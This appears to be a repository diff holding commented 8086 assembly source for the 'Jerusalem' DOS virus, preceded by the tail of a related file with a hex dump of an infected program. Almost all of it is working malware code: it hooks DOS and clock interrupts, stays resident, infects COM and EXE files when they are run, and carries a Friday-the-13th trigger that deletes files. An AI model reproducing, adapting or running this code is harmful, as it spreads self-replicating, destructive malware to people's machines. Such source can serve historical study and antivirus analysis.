INT 21H ;CHANGE FILE MODE
|
||||
;
|
||||
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
|
||||
MOV AX,2524H ;
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
I_90: POP ES ;
|
||||
POP DS ;
|
||||
POP DI ;
|
||||
POP SI ;
|
||||
POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
|
||||
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
|
||||
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
|
||||
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
|
||||
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
|
||||
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
|
||||
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
|
||||
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
|
||||
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
|
||||
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
|
||||
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
|
||||
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
|
||||
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
|
||||
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
|
||||
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
|
||||
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
|
||||
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
|
||||
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
|
||||
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
|
||||
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
|
||||
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
|
||||
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
|
||||
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
|
||||
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
|
||||
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
|
||||
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
|
||||
;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
|
||||
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
|
||||
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
|
||||
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
|
||||
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
|
||||
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
|
||||
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
|
||||
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
|
||||
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8..7.
|
||||
;0330 B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E 9..:..M.]ZY[X...
|
||||
;0340 1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01 ..u..G.....PQV9.
|
||||
;0350 40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75 @s,^YX.......|`u
|
||||
;0360 05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28 .8...O.|]t..|^t(
|
||||
;0370 3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58 =.Ku.i4.......XX
|
||||
;0380 B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E 8...#..X.#..s$..
|
||||
;0390 A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0 !........D...H.P
|
||||
;03A0 BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21 <....3...9...s?!
|
||||
;03B0 00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B .s$.X.@.w&z....+
|
||||
;03C0 00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C ..R..w6z..X.r.z.
|
||||
;03D0 C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05 E.../..[t.9..s%.
|
||||
;03E0 00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E ...E...X.EKum...
|
||||
;03F0 2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01 -.s$XP......)...
|
||||
;0400 06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B .%..!!......)...
|
||||
;0410 26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4 &'....#.3I8.CM!4
|
||||
;0420 41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E AM!8.K........>.
|
||||
;0430 00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00 ..td.G.p....G...
|
||||
;0440 00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52 ............PSQR
|
||||
;0450 56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A VW..|.z2R.}.:u..
|
||||
;0460 15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02 ..b.46M!=..u.iw.
|
||||
;0470 F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16 wcwa.Ru.=..rp...
|
||||
;0480 80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00 ....2@9A.r...6..
|
||||
;0490 8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C ...@t.<ar.<zw..,
|
||||
;04A0 20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B Fkl9..+q?....9.
|
||||
;04B0 00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E .s&u.i/.8.CM!r..
|
||||
;04C0 89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA ..r.r%2@."N....z
|
||||
;04D0 B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74 9A.r..}~Mt..}~mt
|
||||
;04E0 05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70 ..~.N.8.=M!rZ.#p
|
||||
;04F0 00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB ..X8.B9..:{.M!rk
|
||||
;0500 05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E ....#..9..:k..H.
|
||||
;0510 D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07 X.@4?M!.z>..s&u.
|
||||
;0520 B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00 4>M!i@.8$5M!....
|
||||
;0530 8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00 ....:..8$%M!E...
|
||||
;0540 33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E 3I8.CM!r;...p.4>
|
||||
;0550 CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24 M!.G.p...8.=M!r$
|
||||
;0560 2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00 .#p..H.X.@..p.8.
|
||||
;0570 57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9 WM!..t...v.8.B3I
|
||||
;0580 8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90 .QM!r=.>N..t.kW.
|
||||
;0590 BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD ;..4HM!s.4>..p.M
|
||||
;05A0 21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10 !iC......@3v.~9.
|
||||
;05B0 07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4 .s$.W......p...4
|
||||
;05C0 3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21 ?M!r..y3I.Q8.BM!
|
||||
;05D0 BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD >..9..s.$.O3R4@M
|
||||
;05E0 21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21 !r.i<.9..:O.4?M!
|
||||
;05F0 72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F rJG.a...!].#E.!_
|
||||
;0600 00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00 .#C.!c.#G.!e.#I.
|
||||
;0610 A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03 !S..>Q..t.Hw&x..
|
||||
;0620 06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3 .Q..R.....R.%p.#
|
||||
;0630 7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36 |...~.....R.r:w6
|
||||
;0640 78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C x..Rt.@#S...Q.!|
|
||||
;0650 00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00 ...~.w6z.+.W.#e.
|
||||
;0660 C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33 G.c.E.#].G._...3
|
||||
;0670 C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00 I.Q8.BM!r.9..:O.
|
||||
;0680 B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E 4@M!r.;Au...|...
|
||||
;0690 7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40 ~.8.BM!r.3R9..4@
|
||||
;06A0 CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83 M!..>...t.4IM!..
|
||||
;06B0 3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00 >p..t1...p....t.
|
||||
;06C0 2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5 ...v.8.WM!4>M!.E
|
||||
;06D0 16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16 ......r.8.CM!.E.
|
||||
;06E0 1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D ..8$%M!.._^ZY[X.
|
||||
;06F0 2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
;0700 4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00 M...............
|
||||
;0710 CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01 M ....p~.p/...<.
|
||||
;0720 0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF ..k.............
|
||||
;0730 FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16 ............]...
|
||||
;0740 52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00 R.....R.........
|
||||
;0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
;0760 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K..........
|
||||
;0770 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
|
||||
;0780 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
|
||||
;0790 00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00 ..b:.bo.* b:....
|
||||
;07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00 ................
|
||||
;07B0 17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00 .P.....P.....P..
|
||||
;07C0 01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF ...P.....O......
|
||||
;07D0 EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE jO...P....l..%%~
|
||||
;07E0 BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00 <.....l.../...p.
|
||||
;07F0 10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02 ..@.....%.......
|
||||
;0800 4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00 M...............
|
||||
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
|
||||
;0810 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0820 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0830 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0840 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0850 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0860 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0870 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0880 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0890 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08A0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08B0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08C0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08D0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08E0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08F0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0900 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
|
||||
;0910 4D 73 44 6F 73
|
||||
;-----------------------------------------------------------------------;
|
||||
END
|
||||
@@ -0,0 +1,882 @@
|
||||
PAGE 64,132
|
||||
;-----------------------------------------------------------------------;
|
||||
; THE "JERUSALEM" VIRUS ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;
|
||||
ORG 100H ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; JERUSALEM VIRUS ;
|
||||
;-----------------------------------------------------------------------;
|
||||
BEGIN_COM: ;COM FILES START HERE
|
||||
JMP CONTINUE ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
A0103 DB 073H,055H
|
||||
|
||||
MS_DOS DB 'MsDos' ;
|
||||
|
||||
DB 000H,001H,015H,018H
|
||||
|
||||
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
|
||||
|
||||
DB 000H
|
||||
A0010 DB 000H
|
||||
|
||||
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
|
||||
|
||||
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
|
||||
|
||||
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
|
||||
OLD_24 DW 0556H,16A5H ;001B
|
||||
|
||||
A_FLAG DW 7E48H ;???
|
||||
|
||||
A0021 DB 000H,000H,000H,000H,000H,000H,000H
|
||||
DB 000H,000H,000H,000H
|
||||
|
||||
A002C DW 0 ;A SEGMENT
|
||||
|
||||
DB 000H,000H
|
||||
A0030 DB 000H
|
||||
|
||||
A0031 DW 0178EH ;OLD ES VALUE
|
||||
|
||||
A0033 DW 0080H ;
|
||||
;
|
||||
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
|
||||
DW 80H ;COMMAND LINE ADDRESS
|
||||
DW 178EH ;+4
|
||||
DW 005CH ;FCB #1 ADDRESS
|
||||
DW 178EH ;+8
|
||||
DW 006CH ;FCB #2 ADDRESS
|
||||
DW 0178EH ;+12
|
||||
;
|
||||
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
|
||||
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
|
||||
HOST_IP DW 00C5H ;
|
||||
HOST_CS DW 347AH ;
|
||||
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
|
||||
;
|
||||
A004B DW 0F010H ;
|
||||
A004D DB 82H ;
|
||||
A004E DB 0 ;
|
||||
|
||||
EXE_HDR DB 1CH DUP (?) ;004F
|
||||
|
||||
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
|
||||
|
||||
HANDLE DW 0005H ;0070
|
||||
HOST_ATT DW 0020H ;0072
|
||||
HOST_DATE DW 0021H ;0074
|
||||
HOST_TIME DW 002DH ;0076
|
||||
|
||||
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
|
||||
|
||||
A007A DW 0010H
|
||||
|
||||
HOST_SIZE DW 27C0H,0001H ;007C
|
||||
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
|
||||
|
||||
COMMAND_COM DB 'COMMAND.COM'
|
||||
|
||||
DB 1
|
||||
A0090 DB 0,0,0,0,0
|
||||
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
CONTINUE: ;
|
||||
CLD ;
|
||||
MOV AH,0E0H ;DO A ???...
|
||||
INT 21H ;
|
||||
;
|
||||
CMP AH,0E0H ;
|
||||
JNC L01B5 ;
|
||||
CMP AH,3 ;
|
||||
JC L01B5 ;
|
||||
;
|
||||
MOV AH,0DDH ;
|
||||
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
|
||||
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
|
||||
ADD SI,DI ;SI = BEGINNING OF HOST CODE
|
||||
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
|
||||
INT 21H ;
|
||||
;
|
||||
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
|
||||
ADD AX,10H ;
|
||||
MOV SS,AX ;SS = TWEEKed CS
|
||||
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
|
||||
;
|
||||
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
|
||||
;
|
||||
PUSH AX ;JMP FAR CS+10H:IP-100H
|
||||
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
|
||||
PUSH AX ;
|
||||
RETF ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
ORG 0C5h ;
|
||||
;---------------------------------------;
|
||||
;
|
||||
BEGIN_EXE: ;EXE FILES START HERE
|
||||
CLD ;
|
||||
PUSH ES ;
|
||||
;
|
||||
MOV CS:[A0031],ES ;
|
||||
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
|
||||
MOV CS:[EXEC_BLOCK+8],ES ;
|
||||
MOV CS:[EXEC_BLOCK+12],ES ;
|
||||
;
|
||||
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
|
||||
ADD AX,10H ;
|
||||
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
|
||||
ADD CS:[HOST_SS],AX ;
|
||||
;
|
||||
MOV AH,0E0H ;
|
||||
INT 21H ;
|
||||
;
|
||||
CMP AH,0E0H ;
|
||||
JNC L0106 ;00F1 7313
|
||||
;
|
||||
CMP AH,3 ;
|
||||
POP ES ;00F6
|
||||
MOV SS,CS:[HOST_SS] ;
|
||||
MOV SP,CS:[HOST_SP] ;
|
||||
JMP far CS:[HSOT_IP] ;
|
||||
;
|
||||
L0106: XOR AX,AX ;0106 33C0
|
||||
MOV ES,AX ;0108 8EC0
|
||||
MOV AX,ES:[03FC] ;010A 26A1FC03
|
||||
MOV CS:[A004B],AX ;010E 2EA34B00
|
||||
MOV AL,ES:[03FE] ;0112 26A0FE03
|
||||
MOV CS:[A004D],AL ;0116 2EA24D00
|
||||
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
|
||||
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
|
||||
POP AX ;0127 58
|
||||
ADD AX,10H ;0128 051000
|
||||
MOV ES,AX ;012B 8EC0
|
||||
PUSH CS ;012D 0E
|
||||
POP DS ;012E 1F
|
||||
MOV CX,710H ;SIZE OF VIRUS CODE
|
||||
SHR CX,1 ;0132 D1E9
|
||||
XOR SI,SI ;0134 33F6
|
||||
MOV DI,SI ;0136 8BFE
|
||||
PUSH ES ;0138 06
|
||||
MOV AX,0142 ;0139 B84201
|
||||
PUSH AX ;013C 50
|
||||
JMP 0000:03FC ;013D EAFC030000
|
||||
;
|
||||
MOV AX,CS ;0142 8CC8
|
||||
MOV SS,AX ;0144 8ED0
|
||||
MOV SP,700H ;0146 BC0007
|
||||
XOR AX,AX ;0149 33C0
|
||||
MOV DS,AX ;014B 8ED8
|
||||
MOV AX,CS:[A004B] ;014D 2EA14B00
|
||||
MOV [03FC],AX ;0151 A3FC03
|
||||
MOV AL,CS:[A004D] ;0154 2EA04D00
|
||||
MOV [03FE],AL ;0158 A2FE03
|
||||
MOV BX,SP ;015B 8BDC
|
||||
MOV CL,04 ;015D B104
|
||||
SHR BX,CL ;015F D3EB
|
||||
ADD BX,+10 ;0161 83C310
|
||||
MOV CS:[A0033],BX ;
|
||||
;
|
||||
MOV AH,4AH ;
|
||||
MOV ES,CS:[A0031] ;
|
||||
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
|
||||
;
|
||||
MOV AX,3521 ;
|
||||
INT 21H ;GET VECTOR
|
||||
MOV CS:[OLD_21],BX ;
|
||||
MOV CS:[OLD_21+2],ES ;
|
||||
;
|
||||
PUSH CS ;0181 0E
|
||||
POP DS ;0182 1F
|
||||
MOV DX,offset NEW_INT_21 ;0183 BA5B02
|
||||
MOV AX,2521 ;
|
||||
INT 21H ;SAVE VECTOR
|
||||
;
|
||||
MOV ES,[A0031] ;018B 8E063100
|
||||
MOV ES,ES:[A002C] ;018F 268E062C00
|
||||
XOR DI,DI ;0194 33FF
|
||||
MOV CX,7FFFH ;0196 B9FF7F
|
||||
XOR AL,AL ;0199 32C0
|
||||
REPNE SCASB ;019C AE
|
||||
CMP ES:[DI],AL ;019D 263805
|
||||
LOOPNZ 019B ;01A0 E0F9
|
||||
MOV DX,DI ;01A2 8BD7
|
||||
ADD DX,+03 ;01A4 83C203
|
||||
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
|
||||
PUSH ES ;
|
||||
POP DS ;
|
||||
PUSH CS ;
|
||||
POP ES ;
|
||||
MOV BX,35H ;
|
||||
;
|
||||
PUSH DS ;01B1 ;
|
||||
PUSH ES ;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH CX ;
|
||||
PUSH DX ;
|
||||
;
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;GET DATE
|
||||
;
|
||||
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
|
||||
;
|
||||
CMP CX,1987 ;IF 1987...
|
||||
JE L01F7 ;...JUMP
|
||||
CMP AL,5 ;IF NOT FRIDAY...
|
||||
JNE L01D8 ;...JUMP
|
||||
CMP DL,0DH ;IF DATE IS NOT THE 13th...
|
||||
JNE L01D8 ;...JUMP
|
||||
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
|
||||
JMP L01F7 ;
|
||||
;
|
||||
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
|
||||
INT 21H ;GET VECTOR
|
||||
MOV CS:[OLD_08],BX ;
|
||||
MOV CS:[OLD_08],ES ;
|
||||
;
|
||||
PUSH CS ;DS=CS
|
||||
POP DS ;
|
||||
;
|
||||
MOV Word ptr [A_FLAG],7E90H ;
|
||||
;
|
||||
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
|
||||
MOV DX,offset NEW_08 ;
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
L01F7: POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POP ES ;
|
||||
POP DS ;
|
||||
PUSHF ;
|
||||
CALL far CS:[OLD_21] ;
|
||||
PUSH DS ;
|
||||
POP ES ;
|
||||
;
|
||||
MOV AH,49H ;
|
||||
INT 21H ;FREE ALLOCATED MEMORY
|
||||
;
|
||||
MOV AH,4DH ;
|
||||
INT 21H ;GET RETURN CODE OF A SUBPROCESS
|
||||
;
|
||||
;---------------------------------------;
|
||||
; THIS IS WHERE WE REMAIN RESIDENT ;
|
||||
;---------------------------------------;
|
||||
MOV AH,31H ;
|
||||
MOV DX,0600H ;020F ;
|
||||
MOV CL,04 ;
|
||||
SHR DX,CL ;
|
||||
ADD DX,10H ;
|
||||
INT 21H ;TERMINATE AND REMAIN RESIDENT
|
||||
;
|
||||
;---------------------------------------;
|
||||
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
|
||||
IRET ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
|
||||
JNE N08_10 ;IF ... JUMP
|
||||
;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH CX ;
|
||||
PUSH DX ;
|
||||
PUSH BP ;
|
||||
MOV AX,0602H ;SCROLL UP TWO LINES
|
||||
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
|
||||
MOV CX,0505H ;UPPER LEFT CORNER
|
||||
MOV DX,1010H ;LOWER RIGHT CORNER
|
||||
INT 10H ;
|
||||
POP BP ;
|
||||
POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
;
|
||||
N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
|
||||
JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
|
||||
MOV Word ptr CS:[A_FLAG],1 ;
|
||||
;
|
||||
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
|
||||
PUSH CX ;
|
||||
PUSH SI ;
|
||||
MOV CX,4001H ;
|
||||
REP LODSB ;
|
||||
POP SI ;
|
||||
POP CX ;
|
||||
POP AX ;
|
||||
;
|
||||
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; NEW INTERRUPT 21 HANDLER ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_21: PUSHF ;025B ;
|
||||
CMP AH,0E0H ;IF A E0 REQUEST...
|
||||
JNE N21_10 ;
|
||||
MOV AX,300H ;...RETURN AX = 300H
|
||||
POPF ; (OUR PUSHF)
|
||||
IRET ;
|
||||
;
|
||||
N21_10: CMP AH,0DDH ;0266 ;
|
||||
JE N21_30 ;IF DDH...JUMP TO _30
|
||||
CMP AH,0DEH ;
|
||||
JE N21_40 ;IF DEH...JUMP TO _40
|
||||
CMP AX,4B00H ;IF SPAWN A PROG...
|
||||
